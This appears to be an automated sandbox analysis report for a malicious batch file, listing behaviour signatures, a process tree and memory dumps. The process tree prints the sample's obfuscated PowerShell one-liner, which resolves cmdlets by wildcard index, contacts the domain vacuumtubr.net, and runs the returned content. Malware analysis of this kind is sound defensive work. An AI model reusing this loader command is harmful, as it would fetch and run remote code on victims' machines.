Analysis
- max time kernel
149s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
12/08/2026, 04:33
General
- Target ForCSSandbox.bat
- Size 304B
- Sample260812-e6qz5ayeqa
- SHA256 5fae47c196d9d2a41d505fc1d587c449a91f439a14061116c69534fd4bcdba32
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ForCSSandbox.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WIn MiNiMIZE $AwBp=(gcm -m '*i*.*o*l.U*').Name;$qdw=$AwBp[58];$GVmL=$AwBp[57];$BGQp=.$qdw ('vacuumtubr.'+'net');$SgfD=.$GVmL $BGQp;$OZiyjFfdqNBCSnwcFDganUlqmfsjDlawFhKDjlxLGhEcWyVZPLmRrtzxxMZhtOVJLTceTmCILPWkgrHMgqCMytqFJKGvpKBKARWoPQshLCWDwJF2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_mmft0mon.y1x.ps1
memory/3436-23-0x000002AA782E0000-0x000002AA782FE000-memory.dmp
memory/3436-47-0x00007FF8A13D0000-0x00007FF8A1D74000-memory.dmp
memory/3436-5-0x000002AA77CD0000-0x000002AA77CF2000-memory.dmp
memory/3436-6-0x00007FF8A13D0000-0x00007FF8A1D74000-memory.dmp
memory/3436-28-0x000002AA782F0000-0x000002AA782FA000-memory.dmp
memory/3436-8-0x00007FF8A13D0000-0x00007FF8A1D74000-memory.dmp
memory/3436-10-0x00007FF8A13D0000-0x00007FF8A1D74000-memory.dmp
memory/3436-9-0x00007FF8A13D0000-0x00007FF8A1D74000-memory.dmp
memory/3436-11-0x00007FF8A13D0000-0x00007FF8A1D74000-memory.dmp
memory/3436-14-0x000002AA77DA0000-0x000002AA77DBE000-memory.dmp
memory/3436-15-0x000002AA78220000-0x000002AA782D2000-memory.dmp
memory/3436-18-0x000002AA77DA0000-0x000002AA77DAA000-memory.dmp
memory/3436-4-0x00007FF8A13D0000-0x00007FF8A1D74000-memory.dmp
memory/3436-1-0x00007FF8A13D0000-0x00007FF8A1D74000-memory.dmp
memory/3436-7-0x00007FF8A13D0000-0x00007FF8A1D74000-memory.dmp
memory/3436-33-0x000002AA78BA0000-0x000002AA78BBC000-memory.dmp
memory/3436-36-0x000002AA78330000-0x000002AA78338000-memory.dmp
memory/3436-39-0x000002AA77D40000-0x000002AA77D46000-memory.dmp
memory/3436-42-0x000002AA77DA0000-0x000002AA77DAA000-memory.dmp
memory/3436-43-0x00007FF8A13D0000-0x00007FF8A1D74000-memory.dmp
memory/3436-44-0x00007FF8A13D0000-0x00007FF8A1D74000-memory.dmp
memory/3436-45-0x00007FF8A13D0000-0x00007FF8A1D74000-memory.dmp
memory/3436-46-0x00007FF8A13D0000-0x00007FF8A1D74000-memory.dmp
memory/3436-0-0x00007FF8A155F000-0x00007FF8A1560000-memory.dmp
memory/3436-48-0x00007FF8A13D0000-0x00007FF8A1D74000-memory.dmp
memory/3436-49-0x00007FF8A13D0000-0x00007FF8A1D74000-memory.dmp
memory/3436-50-0x00007FF8A13D0000-0x00007FF8A1D74000-memory.dmp
memory/3436-52-0x00007FF8A13D0000-0x00007FF8A1D74000-memory.dmp